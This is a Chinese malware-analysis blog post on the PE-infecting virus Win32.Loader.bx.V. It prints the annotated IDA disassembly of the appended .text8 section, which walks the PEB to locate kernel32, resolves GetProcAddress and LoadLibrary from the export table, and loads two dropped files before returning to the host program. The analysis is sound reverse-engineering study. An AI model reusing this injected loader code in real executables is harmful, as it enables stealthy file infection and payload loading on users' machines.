PE文件加节感染之Win32.Loader.bx.V病毒分析

一、病毒名称:Win32.Loader.bx.V

二、分析工具:IDA 5.5、OllyDebug、StudPE

三、PE病毒简介:

PE病毒感染的方式比较多,也比较复杂也比较难分析,下面就针对PE文件感染之加节的方式进行汇编层次的深度分析,其实说来惭愧,第一接触这个病毒样本的时候也有

点手足无措,最后还是在别人的指导下才顺利的分析下来,开始分析该样本的时候,仅仅关注这个样本是木马病毒这个特点而忽略他的PE感染的特性。下面就该样本的传播方

式进行逐一分析,其实还蛮怀恋分析样本的那些时间。

四、对PE感染方式的具体分析

对于被病毒感染的文件样本的分析,首先要查看被感染的样本文件的节的信息,截图如下:

因此对于该样本文件的分析,重点关注这个节:

跟进函数76F9601E 进行具体的分析:

回到了函数76F96000 中:

到这里.text8节的内容分析完毕,即将跳到.text节去执行。

对.text8节的代码的行为进行综述:

  • 首先通过f:[0]寄存器定位TEB的基址;
  • 在TEB的基址偏移30H处获取PEB结构的基址;
  • 在PEB的基址偏移CH处获取PEB_LDR_DATA结构指针;
  • 通过PEB_LDR_DATA结构指针在其偏移1CH处获取InInitializationOrderModuleList成员指针;
  • 对DLL双链表的解析获取获取kernel32.dll的基地址;
  • 对kernel32.dl这个PE文件进行解析,获取其导出表的相对虚拟地址;
  • 对kernel32.dl的导出表进行解析,查找到函数GetProcAddress的调用地址;
  • 调用函数GetProcAddress获取kernel32.dll中Loadlibrary函数的调用地址;
  • 调用Loadlibrary函数加载文件"C:\\ProgramFiles\\Common Files\\System\\kb067201.nls"和文件"C:\\WINDOWS\\system32\\MSCOMCQS.tsk"到内存中。

随机附上手动汇编分析:

.text8:76F96000 ; BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
.text8:76F96000                 public DllEntryPoint
.text8:76F96000 DllEntryPoint   proc near
.text8:76F96000
.text8:76F96000 arg_4           = dword ptr  8
.text8:76F96000
.text8:76F96000 ; FUNCTION CHUNK AT .text8:76F9613C SIZE 00000011 BYTES
.text8:76F96000
.text8:76F96000                 cmp     [esp+arg_4], 1  ; 判断是否是 DLL_PROCESS_ATTACH
.text8:76F96005                 jnz     short loc_76F96014
.text8:76F96007                 nop
.text8:76F96008                 pusha                   ; 保存寄存器环境
.text8:76F96009                 nop
.text8:76F9600A                 add     edx, 0
.text8:76F9600D                 call    sub_76F9601E    ; 调用函数76F9601E
.text8:76F96012                 nop                     ;
.text8:76F96012                                         ;
.text8:76F96012                                         ;
.text8:76F96012                                         ; 跳到地址76F96012的地方执行
.text8:76F96013                 popa                    ; 恢复寄存器的环境
.text8:76F96014
.text8:76F96014 loc_76F96014:                           ; CODE XREF: DllEntryPoint+5j
.text8:76F96014                 nop                     ; 调整堆栈
.text8:76F96015                 add     ebp, 0
.text8:76F96018                 jmp     loc_76F9613C    ; 跳转到地址76F9613C的地方执行========

 ; 调用函数76F9601E
 .text8:76F9601E sub_76F9601E    proc near               ; CODE XREF: DllEntryPoint+Dp
.text8:76F9601E
.text8:76F9601E var_28          = dword ptr -28h
.text8:76F9601E var_24          = dword ptr -24h
.text8:76F9601E var_20          = dword ptr -20h
.text8:76F9601E var_18          = byte ptr -18h
.text8:76F9601E var_17          = byte ptr -17h
.text8:76F9601E var_16          = word ptr -16h
.text8:76F9601E var_14          = dword ptr -14h
.text8:76F9601E dwGetProcAddress= dword ptr -0Ch
.text8:76F9601E var_8           = dword ptr -8
.text8:76F9601E hInstanseKernel32= dword ptr -4
.text8:76F9601E
.text8:76F9601E                 push    ebp
.text8:76F9601F                 mov     ebp, esp
.text8:76F96021                 sub     esp, 38h
.text8:76F96024                 push    ebx
.text8:76F96025                 xor     eax, eax
.text8:76F96027                 push    esi
.text8:76F96028                 push    edi             ; ;保存寄存器的环境
.text8:76F96029                 mov     [ebp+var_28], 'PteG'
.text8:76F96030                 mov     [ebp+var_24], 'Acor'
.text8:76F96037                 mov     [ebp+var_20], 'erdd'
.text8:76F9603E                 mov     dword ptr [ebp-1Ch], 'ss'
.text8:76F96045                 mov     [ebp+hInstanseKernel32], eax ; 初始化hInstanseKernel32 = 0
.text8:76F96048                 mov     [ebp+var_8], eax
.text8:76F9604B                 pusha                   ;
.text8:76F9604B                                         ;
.text8:76F9604B                                         ;
.text8:76F9604C                 mov     eax, large fs:30h ; 获取PEB结构的基址
.text8:76F96052                 mov     edx, [eax+0Ch]  ; 获取PEB_LDR_DATA结构指针
.text8:76F96055                 mov     eax, [edx+1Ch]  ; 获取InInitializationOrderModuleList成员指针
.text8:76F96058                 mov     eax, [eax]      ; 获取双向链表当前节点的后继指针
.text8:76F9605A                 mov     eax, [eax+8]    ; 获取kernel32.dll的基地址
.text8:76F9605D                 mov     [ebp+hInstanseKernel32], eax ; 保存kernel32.dll的基地址到局部变量hInstanceKernal32
.text8:76F96060                 mov     edx, eax        ; EDX保存Kernel32的基址
.text8:76F96062                 add     eax, 21h
.text8:76F96065                 add     eax, 1Bh        ; EAX+3C定位到Kernel32.dll文件的Dos头的最后一个字段
.text8:76F96065                                         ; 获取DOS头到PE头的距离
.text8:76F96068                 mov     eax, [eax]      ; 保存DOS头到PE头的距离到EAX中
.text8:76F9606A                 lea     eax, [eax+edx+78h] ; 定位到Kernel32文件的数据目录表的RVA地址
.text8:76F9606E                 mov     eax, [eax]      ; 获取导出表的Export Directory的RVA保存在EAX中
.text8:76F96070                 mov     ecx, [edx+eax+18h] ; 定位到导出表,获取导出表的Number of entries in ENT保存在ECX中
.text8:76F96074                 mov     ebx, [edx+eax+20h] ; 定位到导出表,获取该导出表的RVA of ENT (export name table)函数名称的RVA
.text8:76F96074                                         ; 保存在EBX中
.text8:76F96078                 add     ebx, edx        ; 定位到Kernel32的导出表中的函数ENT表的VA的地址
.text8:76F9607A
.text8:76F9607A loc_76F9607A:                           ; CODE XREF: sub_76F9601E+7Ej
.text8:76F9607A                 dec     ecx             ; 函数名称表ENT中的函数的个数-1
.text8:76F9607B                 nop
.text8:76F9607C                 test    ecx, ecx        ; 判断是该导出表的ENT中的函数名称的个数是否为0,
.text8:76F9607C                                         ; 即该导出表的函数是否都已经比较完
.text8:76F9607E                 nop
.text8:76F9607F                 jz      short loc_76F960BC ; 导出表的函数与GetProcAddress比较完了,直接跳转;
.text8:76F9607F                                         ; 否则继续比较查找
.text8:76F9607F                                         ;
.text8:76F96081                 lea     edi, [ebp+var_28] ; 将字符串GetProcAddress的指针给EDI
.text8:76F96087                 mov     esi, [ebx+ecx*4] ; 获取导出表中的第ECX个函数的名称RVA保存在ESI中
.text8:76F9608A                 add     esi, edx        ; 获取导出表中的第ECX个函数的名称的VA保存在ESI中
.text8:76F9608A                                         ;
.text8:76F9608A                                         ;
.text8:76F9608A                                         ;
.text8:76F9608A                                         ;
.text8:76F9608A                                         ;
.text8:76F9608C                 push    ecx
.text8:76F9608D                 mov     ecx, 0Eh        ; ECX=0E
.text8:76F96092                 inc     ecx             ; ECX=ECX+1=0Fh比较的字节数
.text8:76F96093                 nop
.text8:76F96094                 repe cmpsb              ; 将导出表中的ESI指向的函数的名称与字符串GetProcAddress进行比较,
.text8:76F96094                                         ; 并且比较前15个字节
.text8:76F96096                 nop
.text8:76F96097                 test    ecx, ecx        ; 判断字符串比较的是否是15个字节
.text8:76F96099                 pop     ecx             ; ECX为该导出表的ENT中的函数名称的个数-1
.text8:76F9609A                 push    edx
.text8:76F9609B                 pop     edx             ; EDX保存Kernel32的基址
.text8:76F9609C                 jnz     short loc_76F9607A ; 判断以上的字符串比较是否找到函数GetProcAddress,
.text8:76F9609C                                         ; 没有找到继续比较,找到了继续执行
.text8:76F9609C                                         ; 最终的ECX为函数GetProcAddress在导出表的序号
.text8:76F9609E                 nop
.text8:76F9609F                 nop
.text8:76F960A0                 mov     esi, [edx+eax+24h] ; 定位到该导出表的AddressOfNameOrdinals的RVA
.text8:76F960A4                 add     esi, edx        ; 定位到该导出表的AddressOfNameOrdinals的VA
.text8:76F960A6                 mov     edi, ecx        ; ECX保存的是函数GetProcAddress的在函数序号表的序号
.text8:76F960A8                 movzx   esi, word ptr [esi+edi*2] ; 获取函数GetProcAddress的函数表中序号
.text8:76F960AC                 mov     edi, [edx+eax+1Ch] ; 获取导出表的RVA of EAT (export address table)即函数地址表的RVA
.text8:76F960B0                 add     edi, edx        ; 获取导出表的VA of EAT (export address table)即函数地址表的VA
.text8:76F960B2                 mov     edi, [edi+esi*4] ; 获取函数GetProcAddress的RVA地址
.text8:76F960B5                 add     edi, edx        ; 获取函数GetProcAddress的调用地址
.text8:76F960B7                 mov     [ebp+dwGetProcAddress], edi ; dwGetProcAddress保存函数GetProcAddress的调用地址
.text8:76F960BA                 jmp     short loc_76F960C3 ; 直接跳转到地址76F960C3的地方执行
.text8:76F960BC ; ---------------------------------------------------------------------------
.text8:76F960BC
.text8:76F960BC loc_76F960BC:                           ; CODE XREF: sub_76F9601E+61j
.text8:76F960BC                 mov     [ebp+dwGetProcAddress], 0
.text8:76F960C3
.text8:76F960C3 loc_76F960C3:                           ; CODE XREF: sub_76F9601E+9Cj
.text8:76F960C3                 popa
.text8:76F960C4                 mov     ecx, [ebp+hInstanseKernel32]
.text8:76F960C7                 xor     edi, edi        ; EDI=0
.text8:76F960C9                 cmp     ecx, edi        ; 判断hInstanseKernel32保存的基址是否为0
.text8:76F960CB                 jz      short loc_76F96133 ; 为0失败跳转,否则继续执行
.text8:76F960CB                                         ;
.text8:76F960CB                                         ;
.text8:76F960CD                 mov     eax, [ebp+dwGetProcAddress]
.text8:76F960D0                 cmp     eax, edi        ; 判断dwGetProcAddress保存的函数的地址是否为0
.text8:76F960D2                 jz      short loc_76F96133 ; 为0失败跳转,否则成功继续执行
.text8:76F960D2                                         ;
.text8:76F960D2                                         ;
.text8:76F960D2                                         ;
.text8:76F960D4                 lea     esi, [ebp+var_20] ; 将字符串LoadLibrary的指针给esi
.text8:76F960D7                 push    esi             ; 传入参数2-字符串LoadLibrary的指针
.text8:76F960D8                 push    ecx             ; 传入参数1--hInstanseKernel32即Kernel32的基址
.text8:76F960D9                 mov     byte ptr [ebp+var_20], 'L'
.text8:76F960DD                 mov     byte ptr [ebp+var_20+1], 'o'
.text8:76F960E1                 mov     byte ptr [ebp+var_20+2], 'a'
.text8:76F960E5                 mov     word ptr [ebp+var_20+3], 'Ld'
.text8:76F960EB                 nop
.text8:76F960EC                 nop
.text8:76F960ED                 mov     word ptr [ebp-1Bh], 'bi'
.text8:76F960F3                 nop
.text8:76F960F4                 nop
.text8:76F960F5                 mov     byte ptr [ebp-19h], 'r'
.text8:76F960F9                 mov     [ebp+var_18], 'a'
.text8:76F960FD                 mov     [ebp+var_17], 'r'
.text8:76F96101                 mov     [ebp+var_16], 'Ay'
.text8:76F96107                 nop
.text8:76F96108                 mov     [ebp+var_14], edi ; var_14=0
.text8:76F9610B                 call    eax             ; 调用函数kernel32.GetProcAddress获取LoadLibrary函数的调用地址
.text8:76F9610B                                         ;
.text8:76F9610D                 push    esp
.text8:76F9610E                 pop     esp
.text8:76F9610F                 cmp     eax, edi        ; 判断返回值即LoadLibrary的函数地址是否为0
.text8:76F96111                 jz      short loc_76F96133 ; 为0失败跳转,成功继续执行
.text8:76F96111                                         ;
.text8:76F96111                                         ;
.text8:76F96111                                         ;
.text8:76F96113                 mov     edi, eax        ; EAX保存的是LoadLibrary函数的地址,赋值给EDI
.text8:76F96115                 call    sub_76F9611B    ; 调用函数76F9611B
.text8:76F9611A                 nop
.text8:76F9611A sub_76F9601E    endp ; sp-analysis failed
.text8:76F9611A
.text8:76F9611B
.text8:76F9611B ; =============== S U B R O U T I N E =======================================
.text8:76F9611B
.text8:76F9611B
.text8:76F9611B sub_76F9611B    proc near               ; CODE XREF: sub_76F9601E+F7p
.text8:76F9611B                 pop     ebx             ; EBX为hInstanseKernel32即Kernel32的基址
.text8:76F9611C                 lea     esi, [ebx+4Ah]
.text8:76F9611F                 nop
.text8:76F96120
.text8:76F96120 loc_76F96120:                           ; CODE XREF: sub_76F9611B+16j
.text8:76F96120                 mov     cl, [esi]       ; CL为LoadLibrary加载的文件的个数
.text8:76F96122                 test    cl, cl          ; 判断cl是否为0
.text8:76F96124                 jz      short loc_76F96133 ; 为0直接跳转到地址76F96133,否则继续执行
.text8:76F96124                                         ;
.text8:76F96124                                         ;
.text8:76F96126                 lea     edx, [esi+6]    ; LoadLibrary加载的文件的名称字符串
.text8:76F96129                 push    edx             ; 传入参数1-LoadLibrary加载的文件的名称字符串
.text8:76F9612A                 call    edi             ; 调用函数kernel32.LoadLibraryA加载文件
.text8:76F9612C                 nop
.text8:76F9612D                 add     esi, 6Ah        ; ESI=ESI+6A
.text8:76F96130                 nop
.text8:76F96131                 jmp     short loc_76F96120
.text8:76F96133 ; ---------------------------------------------------------------------------
.text8:76F96133
.text8:76F96133 loc_76F96133:                           ; CODE XREF: sub_76F9601E+ADj
.text8:76F96133                                         ; sub_76F9601E+B4j ...
.text8:76F96133                 pop     edi
.text8:76F96134                 pop     esi             ; 函数的返回的处理
.text8:76F96135                 nop
.text8:76F96136                 pop     ebx
.text8:76F96137                 mov     esp, ebp
.text8:76F96139                 pop     ebp
.text8:76F9613A                 nop
.text8:76F9613B                 retn                    ; 返回到 76F96012的地址执行 (Win32.76F96012)

时间: 2024-10-27 13:08:59

PE文件加节感染之Win32.Loader.bx.V病毒分析的相关文章

32位PE文件信息查看器(WIN32控制台)

最近重新撸了一遍PE文件的文件格式,这个程序算是复习的产物吧. 说明与警告: 1.只适用于32位PE文件,可以读取符合标准的32位PE文件的DOS头.NT头.节区头.导入表.导出表信息,想要其他功能请在PEFile类中找,没有请留言 2.因为是边复习功能边写的,所以不要纠结程序架构.编码风格.鲁棒性等各种问题,我会再改的 3.翻译可能是不准的,仅供参考 4.所有计数从0开始,程序不对是否越界进行检查 5.转载请注明出处,本人不对引用此源码后程序产生的任何问题负责 单独的PEFile类 class

Android图片异步加载框架Universal Image Loader的源码分析

项目地址:https://github.com/nostra13/android-universal-image-loader 1. 功能介绍 1.1 Android Universal Image Loader Android Universal Image Loader 是一个强大的.可高度定制的图片缓存,本文简称为UIL. 简单的说 UIL 就做了一件事--获取图片并显示在相应的控件上. 1.2 基本使用 1.2.1 初始化 添加完依赖后在Application或Activity中初始化I

win32下PE文件分析之节表

接上一篇的win32下PE文件分析之NT头 (一).FileBuffer与ImageBuffer (1).FileBuffer是将文件原原本本的读入申请的内存区域中,那部分区域就是FileBuffer,里面的内容与磁盘中的文件一模一样.如下图: (2).ImageBuffer是按照一定规则加载到内存中的某个区域,并且通过一定的处理,能立刻执行的区域,那部分区域叫做ImageBuffer.其大小就是可选PE头中的SizeOfImage.结构如下图: (3).二者之间的关系: ImageBuffer

win32下PE文件分析之NT头

接上一篇的win32下PE文件分析之DOS头 (一)win32中PE的NT: NT头是PE文件中标准PE头和可选PE头的总体称谓,还包含一个PE标识.下面是它在Visual C++ 6.0中WINNT.h中的定义: typedef struct _IMAGE_NT_HEADERS64 {     DWORD Signature;     IMAGE_FILE_HEADER FileHeader;     IMAGE_OPTIONAL_HEADER64 OptionalHeader; } IMAG

手写PE文件(二)

[文章标题]: 纯手工编写的PE可执行程序 [文章作者]: Kinney [作者邮箱]: [email protected] [下载地址]: 自己搜索下载 [使用工具]: C32 [操作平台]: win 7 [作者声明]: 只是感兴趣,没有其他目的.失误之处敬请诸位大侠赐教! ---------------------------------------------------------------------------------------------------------------

变形PE头添加节形式感染学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题 1> 变形PE头的原理: 这里的变形PE头的思路是用的比较方便的方法,就是将IMAGE_DOS_HEADER 和 IMAGE_NT_HEADER 结构融合到一起.因为我们都知IMAGE_DOS_HEADER和IMAGE_NT_HEADER的结构成员很多我们是用不到的,所以我们可以按照相应的结构排列,把这些无用的结构成员,融合到一起后,替换成一些有用的成员

win32下PE文件分析之DOS头

(一).win32下的PE文件: PE是Portable Execute的缩写,是可移植可执行的意思,只要文件的数据结构遵循PE结构,就属于PE文件,windows中常见的PE文件有 *.sys驱动类文件 *.dll动态链接库文件 *.exe可执行文件 *.ocx对象类别扩充组建 *.obj目标文件等. 同样,linux中使用的是ELF格式,和windows的PE格式有一定的差别,如: 可重定位文件*.o 可执行文件如/bin/ls等 共享目标文件*.so 核心转储文件core 都遵循ELF数据

在32位PE文件中的任意一个节中添加代码

// SectionOp.cpp : 定义控制台应用程序的入口点. // /************************************************ *程序说明:在32位PE文件中的任意一个节中添加代码 *          第一个参数为PE文件 第二个参数为第N个节 * * 时间: 20170718 * Win10 VS2010 测试通过  ver 0.01 **************************************************/ #inc

深入剖析PE文件

不赖猴的笔记,转载请注明出处. 深入剖析PE文件 PE文件是Win32的原生文件格式.每一个Win32可执行文件都遵循PE文件格式.对PE文件格式的了解可以加深你对Win32系统的深入理解. 一.        基本结构. 上图便是PE文件的基本结构.(注意:DOS MZ Header和部分PE header的大小是不变的:DOS stub部分的大小是可变的.) 一个PE文件至少需要两个Section,一个是存放代码,一个存放数据.NT上的PE文件基本上有9个预定义的Section.分别是:.t